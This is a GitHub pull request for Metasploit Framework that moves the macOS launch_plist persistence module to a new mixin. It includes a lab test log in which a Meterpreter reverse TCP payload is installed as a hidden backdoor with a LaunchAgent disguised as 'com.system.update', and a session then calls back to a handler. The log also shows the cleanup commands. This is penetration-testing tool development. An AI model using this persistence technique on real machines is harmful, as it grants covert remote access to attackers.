-
Notifications
You must be signed in to change notification settings - Fork 14.6k
update plist persistence to mixin #20527
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @h00die.
One small thing. Currently the list_removal_paths
method still runs, prints out a clean up command and is just slightly more comprehensive then the RC script. Do we want to remove that method in favor of the RC script?
Old method list_removal_paths
[*] To remove the persistence, run:
rm -rf /Users/msfuser/Library/.wJBiOPrK ; rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist ; launchctl remove com.system.update ; launchctl stop com.system.update
RC script:
(devbox) ➜ metasploit-framework git:(97e6f36009) ✗ cat /home/msfuser/.msf4/logs/persistence/harambes-Mac.local_20250918.0800/harambes-Mac.local_20250918.0800.rc
rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist
Testing
Running module
msf exploit(osx/persistence/launch_plist) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf exploit(osx/persistence/launch_plist) > run
[*] Exploit running as background job 14.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.130:8723
msf exploit(osx/persistence/launch_plist) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /Users/msfuser/Library is writable
[*] Dropping backdoor executable...
[+] Backdoor stored to /Users/msfuser/Library/.wJBiOPrK/com.system.update
[+] LaunchAgent added: /Users/msfuser/Library/LaunchAgents/com.system.update.plist
[!] To manually launch payload: launchctl load -w /Users/msfuser/Library/LaunchAgents/com.system.update.plist
[+] LaunchAgent installed successfully.
[*] To remove the persistence, run:
rm -rf /Users/msfuser/Library/.wJBiOPrK ; rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist ; launchctl remove com.system.update ; launchctl stop com.system.update
[*] Meterpreter-compatible Cleaup RC file: /home/msfuser/.msf4/logs/persistence/harambes-Mac.local_20250918.0800/harambes-Mac.local_20250918.0800.rc
msf exploit(osx/persistence/launch_plist) >
Testing persistence
msf exploit(osx/persistence/launch_plist) > [*] Meterpreter session 7 opened (172.16.199.130:8723 -> 172.16.199.175:49154) at 2025-09-18 15:09:12 -0700
msf exploit(osx/persistence/launch_plist) > sessions -i -1
[*] Starting interaction with 7...
meterpreter > getuid
Server username: msfuser
meterpreter > sysinfo
Computer : harambes-Mac.local
OS : macOS Monterey (macOS 12.6.1)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter >
Cleaning up
meterpreter > shell
Process 1715 created.
Channel 1 created.
rm -rf /Users/msfuser/Library/.wJBiOPrK ; rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist ; launchctl remove com.system.update ; launchctl stop com.system.update
[*] 172.16.199.175 - Meterpreter session 7 closed. Reason: Died
Good looking out on that one!
|
97e6f36
to
ae2f7d8
Compare
Co-authored-by: jheysel-r7 <[email protected]>
Release NotesThis moves the plist exploit module into the new persistence directory. It leverages the new functionality for persistence modules, by adding the persistence mixin. |
Updates
persistence
to the new persistence mixin, and changing the name to be more descriptive. Part of #20374Verification
msfconsole
ssh_login
for instance)use exploit/osx/persistence/launch_plist
set SESSION <id>
exploit